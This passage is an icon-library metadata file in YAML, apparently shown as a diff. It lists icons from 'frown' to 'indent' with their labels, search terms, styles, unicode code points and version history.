Frowning Face + search: + terms: + - disapprove + - emoticon + - face + - rating + - sad + styles: + - solid + - regular + unicode: f119 + voted: false +frown-open: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Frowning Face With Open Mouth + search: + terms: + - disapprove + - emoticon + - face + - rating + - sad + styles: + - solid + - regular + unicode: f57a + voted: false +fulcrum: + changes: + - 5.0.12 + - 5.8.0 + label: Fulcrum + search: + terms: [] + styles: + - brands + unicode: f50b + voted: false +funnel-dollar: + changes: + - 5.3.0 + label: Funnel Dollar + search: + terms: + - filter + - money + - options + - separate + - sort + styles: + - solid + unicode: f662 + voted: false +futbol: + changes: + - '4.2' + - 5.0.0 + - 5.0.5 + label: Futbol + search: + terms: + - ball + - football + - mls + - soccer + styles: + - solid + - regular + unicode: f1e3 + voted: false +galactic-republic: + changes: + - 5.0.12 + label: Galactic Republic + search: + terms: + - politics + - star wars + styles: + - brands + unicode: f50c + voted: false +galactic-senate: + changes: + - 5.0.12 + label: Galactic Senate + search: + terms: + - star wars + styles: + - brands + unicode: f50d + voted: false +gamepad: + changes: + - '3.1' + - 5.0.0 + - 5.11.0 + label: Gamepad + search: + terms: + - arcade + - controller + - d-pad + - joystick + - video + - video game + styles: + - solid + unicode: f11b + voted: false +gas-pump: + changes: + - 5.0.13 + - 5.10.1 + label: Gas Pump + search: + terms: + - car + - fuel + - gasoline + - petrol + styles: + - solid + unicode: f52f + voted: true +gavel: + changes: + - '2' + - 5.0.0 + label: Gavel + search: + terms: + - hammer + - judge + - law + - lawyer + - opinion + styles: + - solid + unicode: f0e3 + voted: false +gem: + changes: + - 5.0.0 + - 5.10.1 + label: Gem + search: + terms: + - diamond + - jewelry + - sapphire + - stone + - treasure + styles: + - solid + - regular + unicode: f3a5 + voted: false +genderless: + changes: + - '4.4' + - 5.0.0 + - 5.11.0 + - 5.11.1 + label: Genderless + search: + terms: + - androgynous + - asexual + - sexless + styles: + - solid + unicode: f22d + voted: false +get-pocket: + changes: + - '4.4' + - 5.0.0 + label: Get Pocket + search: + terms: [] + styles: + - brands + unicode: f265 + voted: false +gg: + changes: + - '4.4' + - 5.0.0 + label: GG Currency + search: + terms: [] + styles: + - brands + unicode: f260 + voted: false +gg-circle: + changes: + - '4.4' + - 5.0.0 + label: GG Currency Circle + search: + terms: [] + styles: + - brands + unicode: f261 + voted: false +ghost: + changes: + - 5.4.0 + label: Ghost + search: + terms: + - apparition + - blinky + - clyde + - floating + - halloween + - holiday + - inky + - pinky + - spirit + styles: + - solid + unicode: f6e2 + voted: false +gift: + changes: + - '1' + - 5.0.0 + - 5.0.9 + - 5.6.0 + label: gift + search: + terms: + - christmas + - generosity + - giving + - holiday + - party + - present + - wrapped + - xmas + styles: + - solid + unicode: f06b + voted: false +gifts: + changes: + - 5.6.0 + label: Gifts + search: + terms: + - christmas + - generosity + - giving + - holiday + - party + - present + - wrapped + - xmas + styles: + - solid + unicode: f79c +git: + changes: + - '4.1' + - 5.0.0 + - 5.8.2 + label: Git + search: + terms: [] + styles: + - brands + unicode: f1d3 + voted: false +git-alt: + changes: + - 5.8.2 + label: Git Alt + search: + terms: [] + styles: + - brands + unicode: f841 +git-square: + changes: + - '4.1' + - 5.0.0 + - 5.8.2 + label: Git Square + search: + terms: [] + styles: + - brands + unicode: f1d2 + voted: false +github: + changes: + - '2' + - 5.0.0 + label: GitHub + search: + terms: + - octocat + styles: + - brands + unicode: f09b + voted: false +github-alt: + changes: + - '3' + - 5.0.0 + label: Alternate GitHub + search: + terms: + - octocat + styles: + - brands + unicode: f113 + voted: false +github-square: + changes: + - '1' + - 5.0.0 + label: GitHub Square + search: + terms: + - octocat + styles: + - brands + unicode: f092 + voted: false +gitkraken: + changes: + - 5.0.0 + label: GitKraken + search: + terms: [] + styles: + - brands + unicode: f3a6 + voted: false +gitlab: + changes: + - '4.6' + - 5.0.0 + - 5.7.0 + label: GitLab + search: + terms: + - Axosoft + styles: + - brands + unicode: f296 + voted: false +gitter: + changes: + - 5.0.0 + label: Gitter + search: + terms: [] + styles: + - brands + unicode: f426 + voted: false +glass-cheers: + changes: + - 5.6.0 + label: Glass Cheers + search: + terms: + - alcohol + - bar + - beverage + - celebration + - champagne + - clink + - drink + - holiday + - new year's eve + - party + - toast + styles: + - solid + unicode: f79f +glass-martini: + changes: + - '1' + - 5.0.0 + - 5.1.0 + - 5.10.1 + label: Martini Glass + search: + terms: + - alcohol + - bar + - beverage + - drink + - liquor + styles: + - solid + unicode: f000 + voted: false +glass-martini-alt: + changes: + - 5.1.0 + label: Alternate Glass Martini + search: + terms: + - alcohol + - bar + - beverage + - drink + - liquor + styles: + - solid + unicode: f57b + voted: false +glass-whiskey: + changes: + - 5.6.0 + label: Glass Whiskey + search: + terms: + - alcohol + - bar + - beverage + - bourbon + - drink + - liquor + - neat + - rye + - scotch + - whisky + styles: + - solid + unicode: f7a0 +glasses: + changes: + - 5.0.13 + label: Glasses + search: + terms: + - hipster + - nerd + - reading + - sight + - spectacles + - vision + styles: + - solid + unicode: f530 + voted: true +glide: + changes: + - '4.6' + - 5.0.0 + label: Glide + search: + terms: [] + styles: + - brands + unicode: f2a5 + voted: false +glide-g: + changes: + - '4.6' + - 5.0.0 + label: Glide G + search: + terms: [] + styles: + - brands + unicode: f2a6 + voted: false +globe: + changes: + - '2' + - 5.0.0 + - 5.0.9 + - 5.11.0 + - 5.11.1 + label: Globe + search: + terms: + - all + - coordinates + - country + - earth + - global + - gps + - language + - localize + - location + - map + - online + - place + - planet + - translate + - travel + - world + styles: + - solid + unicode: f0ac + voted: false +globe-africa: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Globe with Africa shown + search: + terms: + - all + - country + - earth + - global + - gps + - language + - localize + - location + - map + - online + - place + - planet + - translate + - travel + - world + styles: + - solid + unicode: f57c + voted: false +globe-americas: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Globe with Americas shown + search: + terms: + - all + - country + - earth + - global + - gps + - language + - localize + - location + - map + - online + - place + - planet + - translate + - travel + - world + styles: + - solid + unicode: f57d + voted: false +globe-asia: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Globe with Asia shown + search: + terms: + - all + - country + - earth + - global + - gps + - language + - localize + - location + - map + - online + - place + - planet + - translate + - travel + - world + styles: + - solid + unicode: f57e + voted: false +globe-europe: + changes: + - 5.6.0 + - 5.11.0 + - 5.11.1 + label: Globe with Europe shown + search: + terms: + - all + - country + - earth + - global + - gps + - language + - localize + - location + - map + - online + - place + - planet + - translate + - travel + - world + styles: + - solid + unicode: f7a2 + voted: true +gofore: + changes: + - 5.0.0 + label: Gofore + search: + terms: [] + styles: + - brands + unicode: f3a7 + voted: false +golf-ball: + changes: + - 5.0.5 + label: Golf Ball + search: + terms: + - caddy + - eagle + - putt + - tee + styles: + - solid + unicode: f450 + voted: false +goodreads: + changes: + - 5.0.0 + label: Goodreads + search: + terms: [] + styles: + - brands + unicode: f3a8 + voted: false +goodreads-g: + changes: + - 5.0.0 + label: Goodreads G + search: + terms: [] + styles: + - brands + unicode: f3a9 + voted: false +google: + changes: + - '4.1' + - 5.0.0 + label: Google Logo + search: + terms: [] + styles: + - brands + unicode: f1a0 + voted: false +google-drive: + changes: + - 5.0.0 + label: Google Drive + search: + terms: [] + styles: + - brands + unicode: f3aa + voted: false +google-pay: + changes: + - 5.13.1 + - 5.14.0 + label: Google Pay + search: + terms: [] + styles: + - brands + unicode: e079 + voted: false +google-play: + changes: + - 5.0.0 + label: Google Play + search: + terms: [] + styles: + - brands + unicode: f3ab + voted: false +google-plus: + changes: + - '4.6' + - 5.0.0 + - 5.13.1 + label: Google Plus + search: + terms: + - google-plus-circle + - google-plus-official + styles: + - brands + unicode: f2b3 + voted: false +google-plus-g: + changes: + - '2' + - 5.0.0 + label: Google Plus G + search: + terms: + - google-plus + - social network + styles: + - brands + unicode: f0d5 + voted: false +google-plus-square: + changes: + - '2' + - 5.0.0 + label: Google Plus Square + search: + terms: + - social network + styles: + - brands + unicode: f0d4 + voted: false +google-wallet: + changes: + - '4.2' + - 5.0.0 + label: Google Wallet + search: + terms: [] + styles: + - brands + unicode: f1ee + voted: false +gopuram: + changes: + - 5.3.0 + - 5.7.0 + - 5.11.0 + label: Gopuram + search: + terms: + - building + - entrance + - hinduism + - temple + - tower + styles: + - solid + unicode: f664 + voted: false +graduation-cap: + changes: + - '4.1' + - 5.0.0 + - 5.2.0 + - 5.10.1 + label: Graduation Cap + search: + terms: + - ceremony + - college + - graduate + - learning + - school + - student + styles: + - solid + unicode: f19d + voted: false +gratipay: + changes: + - '3.2' + - 5.0.0 + label: Gratipay (Gittip) + search: + terms: + - favorite + - heart + - like + - love + styles: + - brands + unicode: f184 + voted: false +grav: + changes: + - '4.7' + - 5.0.0 + label: Grav + search: + terms: [] + styles: + - brands + unicode: f2d6 + voted: false +greater-than: + changes: + - 5.0.13 + label: Greater Than + search: + terms: + - arithmetic + - compare + - math + styles: + - solid + unicode: f531 + voted: true +greater-than-equal: + changes: + - 5.0.13 + label: Greater Than Equal To + search: + terms: + - arithmetic + - compare + - math + styles: + - solid + unicode: f532 + voted: true +grimace: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grimacing Face + search: + terms: + - cringe + - emoticon + - face + - teeth + styles: + - solid + - regular + unicode: f57f + voted: false +grin: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grinning Face + search: + terms: + - emoticon + - face + - laugh + - smile + styles: + - solid + - regular + unicode: f580 + voted: false +grin-alt: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Alternate Grinning Face + search: + terms: + - emoticon + - face + - laugh + - smile + styles: + - solid + - regular + unicode: f581 + voted: false +grin-beam: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grinning Face With Smiling Eyes + search: + terms: + - emoticon + - face + - laugh + - smile + styles: + - solid + - regular + unicode: f582 + voted: false +grin-beam-sweat: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grinning Face With Sweat + search: + terms: + - embarass + - emoticon + - face + - smile + styles: + - solid + - regular + unicode: f583 + voted: false +grin-hearts: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Smiling Face With Heart-Eyes + search: + terms: + - emoticon + - face + - love + - smile + styles: + - solid + - regular + unicode: f584 + voted: false +grin-squint: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grinning Squinting Face + search: + terms: + - emoticon + - face + - laugh + - smile + styles: + - solid + - regular + unicode: f585 + voted: false +grin-squint-tears: + changes: + - 5.1.0 + label: Rolling on the Floor Laughing + search: + terms: + - emoticon + - face + - happy + - smile + styles: + - solid + - regular + unicode: f586 + voted: false +grin-stars: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Star-Struck + search: + terms: + - emoticon + - face + - star-struck + styles: + - solid + - regular + unicode: f587 + voted: false +grin-tears: + changes: + - 5.1.0 + label: Face With Tears of Joy + search: + terms: + - LOL + - emoticon + - face + styles: + - solid + - regular + unicode: f588 + voted: false +grin-tongue: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Face With Tongue + search: + terms: + - LOL + - emoticon + - face + styles: + - solid + - regular + unicode: f589 + voted: false +grin-tongue-squint: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Squinting Face With Tongue + search: + terms: + - LOL + - emoticon + - face + styles: + - solid + - regular + unicode: f58a + voted: false +grin-tongue-wink: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + - 5.12.0 + label: Winking Face With Tongue + search: + terms: + - LOL + - emoticon + - face + styles: + - solid + - regular + unicode: f58b + voted: false +grin-wink: + changes: + - 5.1.0 + - 5.1.1 + - 5.11.0 + - 5.11.1 + label: Grinning Winking Face + search: + terms: + - emoticon + - face + - flirt + - laugh + - smile + styles: + - solid + - regular + unicode: f58c + voted: false +grip-horizontal: + changes: + - 5.1.0 + label: Grip Horizontal + search: + terms: + - affordance + - drag + - drop + - grab + - handle + styles: + - solid + unicode: f58d + voted: true +grip-lines: + changes: + - 5.6.0 + label: Grip Lines + search: + terms: + - affordance + - drag + - drop + - grab + - handle + styles: + - solid + unicode: f7a4 + voted: true +grip-lines-vertical: + changes: + - 5.6.0 + - 5.11.0 + - 5.11.1 + label: Grip Lines Vertical + search: + terms: + - affordance + - drag + - drop + - grab + - handle + styles: + - solid + unicode: f7a5 + voted: true +grip-vertical: + changes: + - 5.1.0 + label: Grip Vertical + search: + terms: + - affordance + - drag + - drop + - grab + - handle + styles: + - solid + unicode: f58e + voted: true +gripfire: + changes: + - 5.0.0 + label: 'Gripfire, Inc.' + search: + terms: [] + styles: + - brands + unicode: f3ac + voted: false +grunt: + changes: + - 5.0.0 + label: Grunt + search: + terms: [] + styles: + - brands + unicode: f3ad + voted: false +guilded: + changes: + - 5.15.0 + label: Guilded + search: + terms: [] + styles: + - brands + unicode: e07e + voted: false +guitar: + changes: + - 5.6.0 + - 5.11.0 + label: Guitar + search: + terms: + - acoustic + - instrument + - music + - rock + - rock and roll + - song + - strings + styles: + - solid + unicode: f7a6 + voted: true +gulp: + changes: + - 5.0.0 + label: Gulp + search: + terms: [] + styles: + - brands + unicode: f3ae + voted: false +h-square: + changes: + - '3' + - 5.0.0 + label: H Square + search: + terms: + - directions + - emergency + - hospital + - hotel + - map + styles: + - solid + unicode: f0fd + voted: false +hacker-news: + changes: + - '4.1' + - 5.0.0 + label: Hacker News + search: + terms: [] + styles: + - brands + unicode: f1d4 + voted: false +hacker-news-square: + changes: + - 5.0.0 + label: Hacker News Square + search: + terms: [] + styles: + - brands + unicode: f3af + voted: false +hackerrank: + changes: + - 5.2.0 + - 5.8.0 + label: Hackerrank + search: + terms: [] + styles: + - brands + unicode: f5f7 + voted: true +hamburger: + changes: + - 5.7.0 + label: Hamburger + search: + terms: + - bacon + - beef + - burger + - burger king + - cheeseburger + - fast food + - grill + - ground beef + - mcdonalds + - sandwich + styles: + - solid + unicode: f805 + voted: false +hammer: + changes: + - 5.4.0 + label: Hammer + search: + terms: + - admin + - fix + - repair + - settings + - tool + styles: + - solid + unicode: f6e3 + voted: true +hamsa: + changes: + - 5.3.0 + label: Hamsa + search: + terms: + - amulet + - christianity + - islam + - jewish + - judaism + - muslim + - protection + styles: + - solid + unicode: f665 + voted: false +hand-holding: + changes: + - 5.0.9 + label: Hand Holding + search: + terms: + - carry + - lift + styles: + - solid + unicode: f4bd + voted: false +hand-holding-heart: + changes: + - 5.0.9 + label: Hand Holding Heart + search: + terms: + - carry + - charity + - gift + - lift + - package + styles: + - solid + unicode: f4be + voted: false +hand-holding-medical: + changes: + - 5.13.0 + - 5.14.0 + label: Hand Holding Medical Cross + search: + terms: + - care + - covid-19 + - donate + - help + styles: + - solid + unicode: e05c + voted: false +hand-holding-usd: + changes: + - 5.0.9 + - 5.11.0 + label: Hand Holding US Dollar + search: + terms: + - $ + - carry + - dollar sign + - donation + - giving + - lift + - money + - price + styles: + - solid + unicode: f4c0 + voted: false +hand-holding-water: + changes: + - 5.0.9 + - 5.13.0 + label: Hand Holding Water + search: + terms: + - carry + - covid-19 + - drought + - grow + - lift + styles: + - solid + unicode: f4c1 + voted: false +hand-lizard: + changes: + - '4.4' + - 5.0.0 + label: Lizard (Hand) + search: + terms: + - game + - roshambo + styles: + - solid + - regular + unicode: f258 + voted: false +hand-middle-finger: + changes: + - 5.7.0 + - 5.11.0 + - 5.11.1 + label: Hand with Middle Finger Raised + search: + terms: + - flip the bird + - gesture + - hate + - rude + styles: + - solid + unicode: f806 + voted: true +hand-paper: + changes: + - '4.4' + - 5.0.0 + label: Paper (Hand) + search: + terms: + - game + - halt + - roshambo + - stop + styles: + - solid + - regular + unicode: f256 + voted: false +hand-peace: + changes: + - '4.4' + - 5.0.0 + label: Peace (Hand) + search: + terms: + - rest + - truce + styles: + - solid + - regular + unicode: f25b + voted: false +hand-point-down: + changes: + - '2' + - 5.0.0 + label: Hand Pointing Down + search: + terms: + - finger + - hand-o-down + - point + styles: + - solid + - regular + unicode: f0a7 + voted: false +hand-point-left: + changes: + - '2' + - 5.0.0 + label: Hand Pointing Left + search: + terms: + - back + - finger + - hand-o-left + - left + - point + - previous + styles: + - solid + - regular + unicode: f0a5 + voted: false +hand-point-right: + changes: + - '2' + - 5.0.0 + label: Hand Pointing Right + search: + terms: + - finger + - forward + - hand-o-right + - next + - point + - right + styles: + - solid + - regular + unicode: f0a4 + voted: false +hand-point-up: + changes: + - '2' + - 5.0.0 + label: Hand Pointing Up + search: + terms: + - finger + - hand-o-up + - point + styles: + - solid + - regular + unicode: f0a6 + voted: false +hand-pointer: + changes: + - '4.4' + - 5.0.0 + label: Pointer (Hand) + search: + terms: + - arrow + - cursor + - select + styles: + - solid + - regular + unicode: f25a + voted: false +hand-rock: + changes: + - '4.4' + - 5.0.0 + label: Rock (Hand) + search: + terms: + - fist + - game + - roshambo + styles: + - solid + - regular + unicode: f255 + voted: false +hand-scissors: + changes: + - '4.4' + - 5.0.0 + label: Scissors (Hand) + search: + terms: + - cut + - game + - roshambo + styles: + - solid + - regular + unicode: f257 + voted: false +hand-sparkles: + changes: + - 5.13.0 + - 5.14.0 + label: Hand Sparkles + search: + terms: + - clean + - covid-19 + - hygiene + - magic + - soap + - wash + styles: + - solid + unicode: e05d + voted: false +hand-spock: + changes: + - '4.4' + - 5.0.0 + - 5.12.0 + label: Spock (Hand) + search: + terms: + - live long + - prosper + - salute + - star trek + - vulcan + styles: + - solid + - regular + unicode: f259 + voted: false +hands: + changes: + - 5.0.9 + label: Hands + search: + terms: + - carry + - hold + - lift + styles: + - solid + unicode: f4c2 + voted: false +hands-helping: + changes: + - 5.0.9 + label: Helping Hands + search: + terms: + - aid + - assistance + - handshake + - partnership + - volunteering + styles: + - solid + unicode: f4c4 + voted: false +hands-wash: + changes: + - 5.13.0 + - 5.14.0 + label: Hands Wash + search: + terms: + - covid-19 + - hygiene + - soap + - wash + styles: + - solid + unicode: e05e + voted: false +handshake: + changes: + - '4.7' + - 5.0.0 + - 5.0.9 + label: Handshake + search: + terms: + - agreement + - greeting + - meeting + - partnership + styles: + - solid + - regular + unicode: f2b5 + voted: false +handshake-alt-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Handshake Alternate Slash + search: + terms: + - broken + - covid-19 + - social distance + styles: + - solid + unicode: e05f + voted: false +handshake-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Handshake Slash + search: + terms: + - broken + - covid-19 + - social distance + styles: + - solid + unicode: e060 + voted: false +hanukiah: + changes: + - 5.4.0 + label: Hanukiah + search: + terms: + - candle + - hanukkah + - jewish + - judaism + - light + styles: + - solid + unicode: f6e6 + voted: false +hard-hat: + changes: + - 5.7.0 + label: Hard Hat + search: + terms: + - construction + - hardhat + - helmet + - safety + styles: + - solid + unicode: f807 + voted: true +hashtag: + changes: + - '4.5' + - 5.0.0 + label: Hashtag + search: + terms: + - Twitter + - instagram + - pound + - social media + - tag + styles: + - solid + unicode: f292 + voted: false +hat-cowboy: + changes: + - 5.11.0 + label: Cowboy Hat + search: + terms: + - buckaroo + - horse + - jackeroo + - john b. + - old west + - pardner + - ranch + - rancher + - rodeo + - western + - wrangler + styles: + - solid + unicode: f8c0 + voted: false +hat-cowboy-side: + changes: + - 5.11.0 + label: Cowboy Hat Side + search: + terms: + - buckaroo + - horse + - jackeroo + - john b. + - old west + - pardner + - ranch + - rancher + - rodeo + - western + - wrangler + styles: + - solid + unicode: f8c1 + voted: false +hat-wizard: + changes: + - 5.4.0 + - 5.11.0 + label: Wizard's Hat + search: + terms: + - Dungeons & Dragons + - accessory + - buckle + - clothing + - d&d + - dnd + - fantasy + - halloween + - head + - holiday + - mage + - magic + - pointy + - witch + styles: + - solid + unicode: f6e8 + voted: false +hdd: + changes: + - '2' + - 5.0.0 + - 5.10.1 + label: HDD + search: + terms: + - cpu + - hard drive + - harddrive + - machine + - save + - storage + styles: + - solid + - regular + unicode: f0a0 + voted: false +head-side-cough: + changes: + - 5.13.0 + - 5.14.0 + label: Head Side Cough + search: + terms: + - cough + - covid-19 + - germs + - lungs + - respiratory + - sick + styles: + - solid + unicode: e061 + voted: false +head-side-cough-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Head Side-cough-slash + search: + terms: + - cough + - covid-19 + - germs + - lungs + - respiratory + - sick + styles: + - solid + unicode: e062 + voted: false +head-side-mask: + changes: + - 5.13.0 + - 5.14.0 + label: Head Side Mask + search: + terms: + - breath + - covid-19 + - filter + - respirator + - virus + styles: + - solid + unicode: e063 + voted: false +head-side-virus: + changes: + - 5.13.0 + - 5.14.0 + label: Head Side Virus + search: + terms: + - cold + - covid-19 + - flu + - sick + styles: + - solid + unicode: e064 + voted: false +heading: + changes: + - '4.1' + - 5.0.0 + - 5.9.0 + - 5.10.1 + - 5.10.2 + label: heading + search: + terms: + - format + - header + - text + - title + styles: + - solid + unicode: f1dc + voted: false +headphones: + changes: + - '1' + - 5.0.0 + label: headphones + search: + terms: + - audio + - listen + - music + - sound + - speaker + styles: + - solid + unicode: f025 + voted: false +headphones-alt: + changes: + - 5.1.0 + label: Alternate Headphones + search: + terms: + - audio + - listen + - music + - sound + - speaker + styles: + - solid + unicode: f58f + voted: true +headset: + changes: + - 5.1.0 + label: Headset + search: + terms: + - audio + - gamer + - gaming + - listen + - live chat + - microphone + - shot caller + - sound + - support + - telemarketer + styles: + - solid + unicode: f590 + voted: true +heart: + changes: + - '1' + - 5.0.0 + - 5.0.9 + - 5.10.1 + - 5.10.2 + label: Heart + search: + terms: + - favorite + - like + - love + - relationship + - valentine + styles: + - solid + - regular + unicode: f004 + voted: false +heart-broken: + changes: + - 5.6.0 + - 5.10.2 + label: Heart Broken + search: + terms: + - breakup + - crushed + - dislike + - dumped + - grief + - love + - lovesick + - relationship + - sad + styles: + - solid + unicode: f7a9 + voted: true +heartbeat: + changes: + - '4.3' + - 5.0.0 + - 5.0.7 + label: Heartbeat + search: + terms: + - ekg + - electrocardiogram + - health + - lifeline + - vital signs + styles: + - solid + unicode: f21e + voted: false +helicopter: + changes: + - 5.0.13 + label: Helicopter + search: + terms: + - airwolf + - apache + - chopper + - flight + - fly + - travel + styles: + - solid + unicode: f533 + voted: true +highlighter: + changes: + - 5.1.0 + - 5.10.1 + label: Highlighter + search: + terms: + - edit + - marker + - sharpie + - update + - write + styles: + - solid + unicode: f591 + voted: true +hiking: + changes: + - 5.4.0 + label: Hiking + search: + terms: + - activity + - backpack + - fall + - fitness + - outdoors + - person + - seasonal + - walking + styles: + - solid + unicode: f6ec + voted: false +hippo: + changes: + - 5.4.0 + - 5.10.1 + label: Hippo + search: + terms: + - animal + - fauna + - hippopotamus + - hungry + - mammal + styles: + - solid + unicode: f6ed + voted: false +hips: + changes: + - 5.0.5 + label: Hips + search: + terms: [] + styles: + - brands + unicode: f452 + voted: false +hire-a-helper: + changes: + - 5.0.0 + label: HireAHelper + search: + terms: [] + styles: + - brands + unicode: f3b0 + voted: false +history: + changes: + - '4.1' + - 5.0.0 + label: History + search: + terms: + - Rewind + - clock + - reverse + - time + - time machine + styles: + - solid + unicode: f1da + voted: false +hive: + changes: + - 5.15.0 + label: Hive Blockchain Network + search: + terms: [] + styles: + - brands + unicode: e07f + voted: false +hockey-puck: + changes: + - 5.0.5 + label: Hockey Puck + search: + terms: + - ice + - nhl + - sport + styles: + - solid + unicode: f453 + voted: false +holly-berry: + changes: + - 5.6.0 + label: Holly Berry + search: + terms: + - catwoman + - christmas + - decoration + - flora + - halle + - holiday + - ororo munroe + - plant + - storm + - xmas + styles: + - solid + unicode: f7aa +home: + changes: + - '1' + - 5.0.0 + - 5.7.0 + label: home + search: + terms: + - abode + - building + - house + - main + styles: + - solid + unicode: f015 + voted: false +hooli: + changes: + - 5.0.0 + - 5.7.0 + label: Hooli + search: + terms: [] + styles: + - brands + unicode: f427 + voted: false +hornbill: + changes: + - 5.1.0 + - 5.8.0 + label: Hornbill + search: + terms: [] + styles: + - brands + unicode: f592 + voted: false +horse: + changes: + - 5.4.0 + - 5.10.1 + label: Horse + search: + terms: + - equus + - fauna + - mammmal + - mare + - neigh + - pony + styles: + - solid + unicode: f6f0 + voted: false +horse-head: + changes: + - 5.6.0 + - 5.10.1 + label: Horse Head + search: + terms: + - equus + - fauna + - mammmal + - mare + - neigh + - pony + styles: + - solid + unicode: f7ab +hospital: + changes: + - '3' + - 5.0.0 + label: hospital + search: + terms: + - building + - covid-19 + - emergency room + - medical center + styles: + - solid + - regular + unicode: f0f8 + voted: false +hospital-alt: + changes: + - 5.0.7 + label: Alternate Hospital + search: + terms: + - building + - covid-19 + - emergency room + - medical center + styles: + - solid + unicode: f47d + voted: false +hospital-symbol: + changes: + - 5.0.7 + label: Hospital Symbol + search: + terms: + - clinic + - covid-19 + - emergency + - map + styles: + - solid + unicode: f47e + voted: false +hospital-user: + changes: + - 5.7.0 + - 5.13.0 + label: Hospital with User + search: + terms: + - covid-19 + - doctor + - network + - patient + - primary care + styles: + - solid + unicode: f80d + voted: false +hot-tub: + changes: + - 5.1.0 + label: Hot Tub + search: + terms: + - bath + - jacuzzi + - massage + - sauna + - spa + styles: + - solid + unicode: f593 + voted: false +hotdog: + changes: + - 5.7.0 + label: Hot Dog + search: + terms: + - bun + - chili + - frankfurt + - frankfurter + - kosher + - polish + - sandwich + - sausage + - vienna + - weiner + styles: + - solid + unicode: f80f + voted: false +hotel: + changes: + - 5.1.0 + label: Hotel + search: + terms: + - building + - inn + - lodging + - motel + - resort + - travel + styles: + - solid + unicode: f594 + voted: false +hotjar: + changes: + - 5.0.0 + label: Hotjar + search: + terms: [] + styles: + - brands + unicode: f3b1 + voted: false +hourglass: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Hourglass + search: + terms: + - hour + - minute + - sand + - stopwatch + - time + styles: + - solid + - regular + unicode: f254 + voted: false +hourglass-end: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Hourglass End + search: + terms: + - hour + - minute + - sand + - stopwatch + - time + styles: + - solid + unicode: f253 + voted: false +hourglass-half: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Hourglass Half + search: + terms: + - hour + - minute + - sand + - stopwatch + - time + styles: + - solid + unicode: f252 + voted: false +hourglass-start: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Hourglass Start + search: + terms: + - hour + - minute + - sand + - stopwatch + - time + styles: + - solid + unicode: f251 + voted: false +house-damage: + changes: + - 5.4.0 + label: Damaged House + search: + terms: + - building + - devastation + - disaster + - home + - insurance + styles: + - solid + unicode: f6f1 + voted: false +house-user: + changes: + - 5.13.0 + - 5.14.0 + label: House User + search: + terms: + - covid-19 + - home + - isolation + - quarantine + styles: + - solid + unicode: e065 + voted: false +houzz: + changes: + - '4.4' + - 5.0.0 + - 5.0.9 + - 5.8.0 + label: Houzz + search: + terms: [] + styles: + - brands + unicode: f27c + voted: false +hryvnia: + changes: + - 5.4.0 + label: Hryvnia + search: + terms: + - currency + - money + - ukraine + - ukrainian + styles: + - solid + unicode: f6f2 + voted: true +html5: + changes: + - '3.1' + - 5.0.0 + label: HTML 5 Logo + search: + terms: [] + styles: + - brands + unicode: f13b + voted: false +hubspot: + changes: + - 5.0.0 + label: HubSpot + search: + terms: [] + styles: + - brands + unicode: f3b2 + voted: false +i-cursor: + changes: + - '4.4' + - 5.0.0 + label: I Beam Cursor + search: + terms: + - editing + - i-beam + - type + - writing + styles: + - solid + unicode: f246 + voted: false +ice-cream: + changes: + - 5.7.0 + - 5.11.0 + - 5.11.1 + label: Ice Cream + search: + terms: + - chocolate + - cone + - dessert + - frozen + - scoop + - sorbet + - vanilla + - yogurt + styles: + - solid + unicode: f810 + voted: false +icicles: + changes: + - 5.6.0 + label: Icicles + search: + terms: + - cold + - frozen + - hanging + - ice + - seasonal + - sharp + styles: + - solid + unicode: f7ad +icons: + changes: + - 5.9.0 + label: Icons + search: + terms: + - bolt + - emoji + - heart + - image + - music + - photo + - symbols + styles: + - solid + unicode: f86d + voted: false +id-badge: + changes: + - '4.7' + - 5.0.0 + - 5.0.3 + label: Identification Badge + search: + terms: + - address + - contact + - identification + - license + - profile + styles: + - solid + - regular + unicode: f2c1 + voted: false +id-card: + changes: + - '4.7' + - 5.0.0 + - 5.0.3 + - 5.8.0 + - 5.10.1 + label: Identification Card + search: + terms: + - contact + - demographics + - document + - identification + - issued + - profile + styles: + - solid + - regular + unicode: f2c2 + voted: false +id-card-alt: + changes: + - 5.0.7 + - 5.10.1 + label: Alternate Identification Card + search: + terms: + - contact + - demographics + - document + - identification + - issued + - profile + styles: + - solid + unicode: f47f + voted: false +ideal: + changes: + - 5.12.0 + - 5.14.0 + label: iDeal + search: + terms: [] + styles: + - brands + unicode: e013 + voted: true +igloo: + changes: + - 5.6.0 + label: Igloo + search: + terms: + - dome + - dwelling + - eskimo + - home + - house + - ice + - snow + styles: + - solid + unicode: f7ae +image: + changes: + - '1' + - 5.0.0 + - 5.10.1 + label: Image + search: + terms: + - album + - landscape + - photo + - picture + styles: + - solid + - regular + unicode: f03e + voted: false +images: + changes: + - '1' + - 5.0.0 + - 5.10.1 + label: Images + search: + terms: + - album + - landscape + - photo + - picture + styles: + - solid + - regular + unicode: f302 + voted: false +imdb: + changes: + - '4.7' + - 5.0.0 + label: IMDB + search: + terms: [] + styles: + - brands + unicode: f2d8 + voted: false +inbox: + changes: + - '1' + - 5.0.0 + label: inbox + search: + terms: + - archive + - desk + - email + - mail + - message + styles: + - solid + unicode: f01c + voted: false +indent: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: Indent + search: + terms: + - align + - justify + - paragraph + - tab + styles: + - solid + unicode: f03c + voted: false 